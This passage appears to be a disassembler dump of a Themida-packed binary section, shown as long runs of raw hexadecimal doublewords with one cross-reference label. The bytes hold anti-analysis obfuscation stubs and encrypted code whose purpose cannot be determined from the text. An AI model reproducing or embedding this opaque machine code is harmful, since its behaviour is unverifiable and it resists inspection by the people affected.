0A78C8511h, 7E85Fh, 48490000h, 0A7348F61h dd 6810F26h, 0F000000h, 8Ch, 0E95B00h, 8D000000h, 0E490B6B5h dd 0ED9D8907h, 6A07E02Ah, 0DBB70F00h, 18A995FFh, 8B6607E0h dd 0F8DB9FBh, 13E90000h, 4A000000h, 0EA3A5E44h, 6063B42Ah dd 0F0DF04A2h, 0C21EB576h, 0E1838415h, 8F0FFCh, 0FC000000h dd 2BF9BF0Fh, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 42D75BC6h, 3E344886h, 2BD8B70Fh dd 55006AD2h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 0AA95E9ABh, 0C78C25A4h, 0ADCBCF80h, 0E8D1C233h dd 0E983D003h, 6AF47504h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 3234C352h, 0D1B450DBh dd 178C0FB7h, 0E9000000h, 12h, 0C4A1D45Bh, 45A3A059h, 0C09650EDh dd 65EC1672h, 6AA62Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 7879D1C3h, 9D8B3843h, 7E028C5h dd 0DFAB70Fh, 88h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 64C35343h, 8B185C83h, 0E007BD9Dh, 0F59D0307h dd 8B07E015h, 0E0181595h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 1455F37Fh dd 8B477406h, 0E00855BDh, 498D8B07h, 6A07E020h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 13ADC356h, 0BF17EC28h, 7E289C22h, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 0E9BEC3C3h, 5, 0BE2F6E49h dd 50006A56h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 7ED5C25Eh, 6E845h, 0DDE30000h, 0A9AFD8A8h dd 6890Fh, 0EF810000h, 3D402626h, 0F5BD835Bh, 7E012h, 55840Fh dd 0BE90000h, 59000000h, 0FF170D2h, 8723D017h, 0B8E65Bh dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 0D526C355h, 521E45FAh, 7CDACEC1h dd 4EE88D8Dh, 8E907E0h, 34000000h, 6D1CCE2Bh, 0FFE459D0h dd 0B5BD8BE1h, 8307E011h, 0E022C5BDh, 840F0007h, 477h dd 0C5BD83FCh, 107E022h, 484840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 83971FC3h dd 0E022C5BDh, 860F0307h, 424h, 6A605F57h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8BB2C355h dd 0E02B75BDh, 0D98C6607h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 39C35545h, 27665C31h, 6F2A470Bh, 25952953h dd 8B07E012h, 0E02B29BDh, 4E18007h, 6E8h, 0F7BFB500h, 295A966Ah dd 0E008618Dh, 0C90A5F07h, 1AC840Fh, 14E80000h, 94000000h dd 0E6616122h, 2B12D040h, 462BEC3Ch, 1AA9E1B8h, 0FB4DD57h dd 1A8Ch, 14E800h, 0FF920000h, 1C3AE0E2h, 16477719h, 0F89367AFh dd 0BEDBD0BFh, 5B5BA76Ah, 3399858Bh, 6A07E0h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 929D6CC3h dd 86857365h, 0BD890309h, 7E02C89h, 8D8960F8h, 7E00909h dd 5D9D8B60h, 0E807E01Ah, 0Eh, 0E21CF5E4h, 0F1E7164Fh dd 79E1E874h, 615F8CE8h, 89853361h, 8B07E031h, 48950DEh dd 0A5BD2924h, 6A07E014h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0D4BB666Fh dd 4E886h, 3FF0000h, 5250001Fh, 12E9h, 61C90A00h, 0DC71413Eh dd 9CC2CF50h, 681EDB70h, 0FDB6B28h, 5AF88B31h, 0BB605058h dd 4CC2D9DBh, 0EE8h, 88017E00h, 0FFB19B41h, 2A4A4C8Bh dd 0F8E3F94h, 8Ch, 8B615F00h, 0BF042444h, 3140C399h, 5050008Bh dd 59F9BF52h, 310F747Bh, 585A54B7h, 2444895Fh, 0DE804h dd 6DA30000h, 964442DDh, 8997E74Ch, 5BC8CA3Ch, 0CD95FF58h dd 6A07E021h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 558DC357h, 0B8A7E6CEh, 7E9h, 0F5540100h dd 7D3EE50Ch, 0CBAD8589h, 0EF8107E3h, 402E52D1h, 1AAD8509h dd 0C1E907E0h, 6A000001h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 1753C352h, 57CBF1F4h dd 858B30A4h, 7E3CBA5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 1FC35545h, 5AED1702h, 0C7D3AAh, 18h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 50C35545h dd 5E9A11AAh, 0B6E4D4B0h, 0CABB5018h, 5B556F88h, 0E9BD3156h dd 5F07E001h, 0CBA9B58Bh, 6A07E3h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 919CD9C3h, 6FBB3B26h dd 8B66CC9Ah, 0F9858BF8h, 8907E005h, 119D0306h, 8B07E031h dd 0E0339985h, 0F1BD8B07h, 8907E018h, 0BD8B0446h, 7E023F9h dd 5EBB5096h, 962F42B2h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0FCC35040h, 6830FAAh, 89000000h, 0E0052D95h dd 0A5B5FF07h, 6A07E3CBh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 39E5C356h, 6BD8D668h dd 5052503Bh, 0F616052h, 4462BF31h, 585A0B92h, 0DC8A310Fh dd 3481585Ah, 74DB2924h, 44BF663Bh, 0AD858DFCh, 6A07E3CBh dd 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 0B64CC356h, 5B31BE10h, 0FA8B4578h, 0CE850h, 2D960000h dd 9DC549D9h, 0B5632F1h, 0FD8AE4A4h, 2404895Fh, 2DCD9D89h dd 9D8B07E0h, 7E00511h, 21CD95FFh, 6A07E0h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 44BC02C3h dd 53006A61h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 0DB90B05Ah, 0F2AAF37Eh, 85C7C7F7h, 7E022C5h dd 3, 83DABF0Fh, 0E3CBADBDh, 840F0007h, 24h, 14E9h, 0DCD92600h dd 0E4477538h, 0B45A6FFBh, 17C33E53h, 3D008124h, 21E9B9h dd 0BD890000h, 7E01495h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 4470C355h, 0CB7CFFCCh dd 30D942F0h, 5810F60h, 0B8000000h, 1F09AF2Eh, 618FF180h dd 6E8h, 0F255D900h, 0F77C908h, 665BFAB7h, 83D3E9BFh, 0E022C5BDh dd 850F0307h, 45Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 2FC35545h, 23A1BD23h, 0D78107E0h, 5E4433B8h dd 0CBADBD83h, 0F0007E3h, 42584h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 59C912CEh dd 89590FF3h, 316008BEh, 0E02931B5h, 1AD28107h, 61567F31h dd 0CBADB5FFh, 6A07E3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0D14238C3h, 0E5B589B5h, 0FF07E018h dd 0E01DA995h, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 5F83D559h, 86FD9ABh, 321D8D09h dd 0B58B07E0h, 7E3CBA1h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 2CC35040h, 6C72C07h, 10001h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0CAC35242h, 34895081h dd 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 63C403CBh, 0B5299870h, 7E02599h, 2FD5BD0Bh dd 0B5FF07E0h, 7E3CBADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0EDC35545h, 0F2560B58h, 0FF50F18Bh, 0E0301195h dd 3AEB8007h, 0CBA1B58Bh, 6A07E3h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 76DC6FC3h, 0FD3B10F9h dd 0E8B8943Dh, 12h, 8D73EDA6h, 9FE2CC79h, 0EB684769h, 88D5BCA9h dd 8F0F6CD5h, 6, 211BD8Bh, 8B5F07E0h, 0E022D185h, 7E907h dd 75950000h, 0D45BCD92h, 0C48689A1h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 74FEC356h, 15958B7Fh, 0F07E018h, 689h, 0F9BD8B00h, 0E907E012h dd 0Ch, 0DEEF686Bh, 0E5033A81h, 61F1EA4Bh, 0E904C283h dd 9, 0D4D7ADAAh, 0C7902C4Dh, 205089C7h, 8DFAB70Fh, 0E3E0D485h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 9D8BA743h, 7E008C9h, 2CA99529h, 868907E0h dd 0B8h, 6ADBB70Fh, 6ACB8000h, 0CBADB5FFh, 6A07E3h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 1999E4C3h, 10840FCAh, 0E9000000h, 0Bh, 6547DCEEh, 5D102BD6h dd 0FF524EF6h, 0E02A9995h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 4A6CB790h dd 0EDB5894Ah, 9607E01Fh, 0DB27EDBBh, 52505045h, 4DE983BFh dd 8B310F66h, 96585AF9h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0C35242h, 6785FA15h, 899744C9h, 0E002099Dh dd 8E907h, 0A6310000h, 0BE276309h, 0B5FFAB9Eh, 7E3CBADh dd 1E4D8D31h, 95FF07E0h, 7E028E9h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 48C35141h, 8E6B8D85h, 0CE844h dd 0DDCB0000h, 0C1F97900h, 2ADD052Bh, 9E9AFEDh, 0AD000000h dd 0EDC5D9B1h, 0B7D6D9D0h, 0E1BD835Fh, 7E028h, 37840Fh dd 9D890000h, 7E00149h, 4B06050h, 7CD8BA66h, 24348961h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 71C35040h dd 527555DAh, 4EE7CD66h, 0ADB5FF31h, 6607E3CBh, 0FFB008BFh dd 0E0303595h, 3820F07h, 0F000000h, 0B5FFF9B7h, 7E3CBADh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 3CC35141h dd 8B391976h, 0E02B419Dh, 0B995FF07h, 6A07E001h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 461CC356h, 0B70F1FEBh, 31BD83FFh, 207E007h, 1B840Fh dd 0BD230000h, 7E01C05h, 2039858Bh, 9D8B07E0h, 7E028F9h dd 8B0000C6h, 0E02C9D9Dh, 3D85C707h, 7E004h, 80000000h dd 15165F7h, 0E0088D9Dh, 95E95B07h, 0FFFFFF2h, 585h, 7F05BF00h dd 0C18B0184h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 72C35040h, 0F2C6C4F8h, 8DFC089Bh, 0E013C985h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 9866B78Ah, 3841A775h, 8B6650E0h, 240489D8h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0DDC35040h, 0CB81FC79h dd 59150F97h, 1BB19589h, 6A07E0h, 8B66006Ah, 0AEB81DAh dd 8D4AC2EEh, 0E5216D85h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 18F2C55Ch dd 8A00B82Fh, 8870F3Dh, 0F000000h, 286h, 8B616000h, 0E006019Dh dd 5C08307h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0FDC35141h, 1FB789D0h, 8A0F9787h, 0 dd 890F50h, 89000000h, 8BFC2404h, 0E006E19Dh, 6A006A07h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0AD0C356h, 23FEA05Eh, 0E012B1BDh, 85BD8B07h dd 0E907E01Ch, 0Ah, 9DB5BF83h, 7A0C94E1h, 6AE347h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 1BC35040h, 0E960F8ECh dd 5, 207BCDB2h, 22BF66E3h, 95FF61E4h, 7E03441h, 88DBD33h dd 8D8D07E0h, 7E3A393h, 0FFFEBF0Fh, 53006AD1h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 7F2C02B2h dd 5F68FBCFh, 800FE6E6h, 0 dd 16B1BD83h, 0F0107E0h, 2485h, 0F99D8B00h, 6A07E033h dd 16CF8002h, 24048950h, 127D9529h, 0B70F07E0h, 9995FFFFh dd 8B07E02Ah, 0E01335BDh, 0E61E907h, 0E80000h, 5D000000h dd 2177ED81h, 6A07E5h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 898DCBC3h, 0E0311185h, 63858D07h dd 5007E394h, 99DF3DBFh, 24048950h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0A1C35242h, 5EC7A169h, 376FCDBh dd 0E00895BDh, 35FF6407h, 0 dd 258964h, 1000000h, 0E008C98Dh, 0FD85FF07h, 6A07E020h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 2B3EC357h, 81663578h, 66D6A7F7h, 6A5440BFh dd 19D23FFh, 8B07E021h, 0E025659Dh, 49B5FF07h, 6A07E01Eh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 0CAA3C352h, 0BDB822F5h, 338995FFh, 5FE907E0h dd 0BB000001h, 2279ACC6h, 6800Fh, 0B5890000h, 7E0199Dh dd 70E600B0h, 6890Fh, 0BD8B0000h, 7E018D5h, 12E971E4h dd 0E2000000h, 0B7B45EB6h, 0DC31B9E0h, 88306410h, 3288BC26h dd 0F613CC7h, 11D83h, 9E800h, 6E690000h, 4736AA0Fh, 5BA5112Fh dd 29119501h, 0B60F07E0h, 12810FC8h, 0E9000000h, 0Dh, 8CE879E1h dd 0AC3D8538h, 0BA25A273h, 6BA5Dh, 8B600000h, 0E01BEDB5h dd 0B9858B07h, 6107E01Bh, 0BD8BC18Bh, 7E017BDh, 0E804E8C1h dd 10h, 2537662Ch, 672D0C3Dh, 210A55A1h, 74F04DD0h, 16EF8166h dd 0F7665BCFh, 49BD33E2h, 2B07E01Bh, 119589C8h, 8B07E01Ah dd 5DEB81D1h, 0E95BDA05h, 96h, 19818589h, 9D8B07E0h, 7E01225h dd 4E49858Bh, 0D88B4400h, 0BF07C083h, 50AF1EF2h, 18798589h dd 0C08307E0h, 0B1BD8B00h, 3B07E010h, 1C830FD0h dword_59EB00 dd 0E9000000h, 11h, 150450CBh, 9A9B9456h, 61081AA0h, 8F054DCFh ; DATA XREF: Themida_:0055D2E8o dd 48E908h, 8BFC0000h, 0FFFFFF8Dh, 0A9BD8BFFh, 8307E01Bh dd 840F01E1h, 32h, 6810Fh, 95310000h, 7E019D9h, 0FFFFA583h dd 29FEFFFFh, 0E023A185h, 12DF8107h, 890D19E8h, 4E4995h dd 89D5B344h, 0E01E7DBDh, 0E907h, 0B58D0000h, 7E4A043h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 67C35141h dd 0F3A68B49h, 0BFB98452h, 75A88921h, 0BD33006Ah, 7E028C9h dd 18A995FFh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 9B4FBDC3h, 941D11B7h, 44B9FBD8h dd 8B00000Fh, 0E032259Dh, 28A0F07h, 0B3000000h, 0FCE183EAh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0BCC35646h dd 6AFCDED0h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 0D89DC356h, 66A2D60Ah, 0BD8BDF8Bh dd 7E02B3Dh, 6AC02Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 26FB7DC3h, 0DB50E87Dh, 81461B3Eh dd 0E48134C3h, 0BA7Eh, 0FA8B0000h, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0BBC35141h, 5C94B12Eh, 0EE9A7FBh, 26000000h, 0E1FFA733h dd 0CC409266h, 85E3F93Bh, 11BD8BB6h, 8B07E016h, 0E01D819Dh dd 880D07h, 79B70000h, 1815958Bh, 6E807E0h, 0F1000000h dd 990C497Eh, 5830BF31h, 295F2FCAh, 0E014CD8Dh, 498D8B07h dd 0F07E020h, 682h, 11BD8900h, 5007E002h, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0E2382373h dd 7679B713h, 1595BD89h, 6A07E0h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 88F68FC3h, 8B820ABCh dd 0E0348DBDh, 0F5BD8307h, 7E012h, 0B9840Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0F4A6F2C3h, 0B8CE97F6h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 1AC35747h dd 0AE860B3h, 66000000h, 0B208E5AEh, 0FC094975h, 8B5EF99Ch dd 0E0169D8Dh, 8D8D6107h, 7E04EE8h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 26C35545h, 274238Fh, 0C8A0F4Eh dd 0F000000h, 687h, 799D8B00h, 6607E001h, 0FF7C66BBh, 52006AE1h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 83385621h, 0E022C5BDh, 840F0007h, 482h, 1D15BD8Bh, 0BD8307E0h dd 7E022C5h, 8A840F01h, 6A000004h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 7898C357h dd 71BB9518h, 830490AFh, 0E022C5BDh, 860F0307h, 423h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0D7C35646h, 89ACC4AEh dd 0E007E99Dh, 66516007h, 665BDF8Bh, 8B50D98Ch, 0E004199Dh dd 8D895F07h, 7E008D5h, 6A04E180h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0D144C352h dd 2AD8BDA7h, 0BF66399Ah, 0C90ADB69h, 158840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 2A3DA3C3h, 958963CDh, 7E007FDh, 6860Fh, 9D0B0000h, 7E00E11h dd 3399858Bh, 9D8B07E0h, 7E01A9Dh, 31898533h, 6A07E0h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0BD8B70C3h, 7E023C9h, 9ABB6690h, 6A905024h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 7F04C356h, 29EAE857h, 0E02F618Dh, 0F8B70F07h, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 82FE2AC3h, 0A5F1664Eh, 29BD8B50h, 5B07E004h, 39337C68h dd 815FB3F4h, 0D0832404h, 0FE8B0BE5h, 21CD95FFh, 6A07E0h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 8EADABC3h, 21BD8BD6h, 0F907E026h, 52D78166h, 0AD858920h dd 6A07E3CBh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0B0C5C356h, 56CF24D5h, 9DBD8BCEh dd 0E907E001h, 206h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 0F4C35242h, 0F2A6629h, 858BFEB7h, 7E3CBA5h dd 0A709C781h, 880F5A7Ah, 0 dd 1800C7h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 776120C3h, 0E99D8B1Fh, 8B07E02Ch dd 0E3CBA9B5h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 8BDA8B00h, 0E005F985h dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 41A81C9Bh, 0FA481C3Bh, 89F98B7Ah, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0BFB39098h, 32E88FE5h, 14C381FCh, 8B4E055Bh, 0E0339985h dd 19BD8B07h, 8907E011h, 81660446h, 503AEBD3h, 5FDE8B50h dd 6A243489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 0B3B8C351h, 0A5B5FFDFh, 6A07E3CBh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0DD51C357h, 8985089Eh, 0E0129DB5h, 4E807h dd 3FF0000h, 0BF66001Fh, 50505DE3h, 0F88B6652h, 61B3310Fh dd 448B585Ah, 0BABF0424h, 8B2B5C3Eh, 0D98B6600h, 4244489h dd 6A58DF8Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 8981C353h, 0E006698Dh, 0AD858D07h dd 6007E3CBh, 695B589h, 816607E0h, 61CFD2D0h, 8909B750h dd 81602404h, 6FE9F4EAh, 92B86637h, 0C7806123h, 0CD95FF3Dh dd 6A07E021h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0E04EC352h, 60074CB6h, 1111BD89h dd 0B58B07E0h, 7E0004Dh, 7E861h, 0ECA50000h, 4FE57FE2h dd 6870F53h, 3000000h, 0E019AD9Dh, 29615B07h, 0E01C6DB5h dd 0C585C707h, 307E022h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0EE3BC352h dd 2D9D9D33h, 9D8B07E0h, 7E03105h, 0CBADBD83h, 0F0007E3h dd 3284h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 0EDD2A429h, 0BE252EE7h, 0F88B668Ch dd 278BF381h, 1BE920C4h, 50000000h, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8BB0C3C3h dd 8DBD8BF9h, 6007E011h, 0DBB70F50h, 0C9BF0F5Ah, 0C5BD8361h dd 307E022h, 435850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 99A8A4C3h, 0AD8D8965h dd 8307E033h, 0E3CBADBDh, 840F0007h, 403h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0D6C35646h, 296467AAh dd 1AD59509h, 0B5FF07E0h, 7E3CBADh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 75C35040h, 95FFCDE5h, 7E01DA9h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0A0C35545h dd 7D81ABE7h, 0D3E7569h, 59BD2965h, 0F07E02Ch, 0B58BDABFh dd 7E3CBA1h, 5E8h, 25AC0F00h, 8B669DC4h, 6C75BDAh, 10001h dd 58F0Fh, 81660000h, 50675BE7h, 3489D88Bh, 57006A24h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0ECE8D98Ah, 445B9DD7h, 0ADB5FF49h, 6A07E3CBh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 6638C350h, 0FFCE10BBh, 0E0301195h, 55006A07h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0B2C684A1h, 29F6E873h, 0E01BFD85h, 5D958907h, 8B07E026h dd 0E3CBA1B5h, 0A9BD8907h, 8B07E001h, 0E022D185h, 9D09F807h dd 7E013C5h, 0C48689h, 39BF0000h, 8B377065h, 0E0181595h dd 0FBB70F07h, 191C90BBh, 4C28321h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 0DBC35747h, 6BE1EA5Bh, 0F1B56B02h dd 13E8DAh, 0E76A0000h, 7D3501D5h, 6DA78135h, 344C1DF9h dd 0F0BEC122h, 0FB8B669Fh, 8D85895Fh, 8907E008h, 0BB512050h dd 6085C4EEh, 0D4858D5Fh, 8007E3E0h, 8689CCF7h, 0B8h, 9E8h dd 0A2986D00h, 0C3D1A80Ch, 8A0F6C50h, 6, 257DBD29h, 6A5B07E0h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 0FF3EEBD7h, 0E3CBADB5h, 51006A07h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 0F86AD9ACh, 0F8299E0Ch, 2375BD8Bh, 95FF07E0h, 7E02A99h dd 8950D98Bh, 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 272BDBC3h, 0CB8166B6h, 0E7803721h dd 0ADB5FF74h, 0E907E3CBh, 10h, 332E2DFDh, 3B745AAFh, 59062301h dd 7B240102h, 28E995FFh, 0F6007E0h, 0D08BC2B7h, 0E1BD8361h dd 7E028h, 54840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 4D026DC3h, 0A8B0Fh, 5E90000h dd 4000000h, 9B945615h, 96FFB70Fh, 840Fh, 0E9500000h, 12h dd 516DCF81h, 0CCC8D57Ch, 52488483h, 0A8ABB0DBh, 6696C006h dd 0B5FFDE8Bh, 7E3CBADh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 0F5C35141h, 6B93487Bh, 7F079524h, 95FFFC70h dd 7E03035h, 5810Fh, 81660000h, 313D96C3h, 0E0338D9Dh dd 0ADB5FF07h, 8907E3CBh, 0E0304D95h, 0B995FF07h, 6A07E001h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 7E2BC350h, 351AD7C3h, 31BD8338h, 207E007h dd 6C840Fh, 8E0F0000h, 6, 1AED9D09h, 8A0F07E0h, 6, 820Fh dd 858B0000h, 7E02039h, 14E9h, 0D9C19700h, 5F8797B5h, 5B1FDBCFh dd 122C875Eh, 731E74CFh, 0C6F4h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 0B1C35040h, 0F79B8F2Eh, 0C860Fh dd 890F0000h, 6, 155D9589h, 85C707E0h, 7E0043Dh, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 1EC35141h dd 0B8FD6C20h, 0F5BD8B1Eh, 0E907E02Dh, 0FFFFF287h, 1C5DBD8Bh dd 0C18B07E0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 90C35343h, 0F54234ACh, 1D48352Ah, 0DE9C5h, 0EE5D0000h dd 0CF11F9A9h, 7187E9FDh, 8DF6E92Ah, 0E013C985h, 919D2307h dd 0F07E01Eh, 680h, 919D3100h, 5007E02Ah, 0C672BEBBh, 24048912h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 14C35343h dd 6FA97C25h, 278A0218h, 6880Fh, 85090000h, 7E00099h, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 86B97FC3h, 0BD8B2EB5h, 7E02675h, 0BB66006Ah, 0BD8BE307h dd 7E01DADh, 31AA858Dh, 6A07E5h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 790ECC3h, 0A7E527B0h dd 5C083F1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 0ECC35747h, 0D3329C64h, 8529608Dh, 7E023F1h, 61D6BF0Fh dd 5E950h, 58060000h, 896AEAFAh, 850F2404h, 0 dd 6A006Ah, 3E850h, 